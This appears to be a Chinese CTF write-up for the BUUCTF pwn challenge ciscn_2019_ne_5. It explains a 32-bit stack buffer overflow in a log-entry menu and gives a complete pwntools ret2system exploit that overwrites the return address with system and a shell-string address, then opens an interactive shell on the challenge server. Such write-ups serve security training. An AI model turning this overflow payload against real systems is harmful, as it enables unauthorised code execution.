[BUUCTF]PWN——ciscn_2019_ne_5

放进Linux一看是32位
进入ida对main不能直接F5
先进入scanf函数编译，再编译main

我们发现这是一个菜单表，输入administrator后进入菜单，而且这里s1只给了48个大小，而可以输入100个字节，可以溢出
我们进菜单1看看

看看菜单3

找到system函数了，接下来找到system地址和/bin/sh的地址

from pwn import*

r=remote("node3.buuoj.cn",29791)
elf=ELF('ciscn_2019_ne_5')
system_addr=elf.sym['system']
shell_addr=0x80482ea

r.recvuntil('Please input admin password:')
r.sendline('administrator')

r.recvuntil('0.Exit\n:')
r.sendline('1')

payload='a'*(0x48+4)+p32(system_addr)+'1234'+p32(shell_addr)

r.recvuntil('Please input new log info:')
r.sendline(payload)

r.recvuntil('0.Exit\n:')
r.sendline('4')

r.interactive()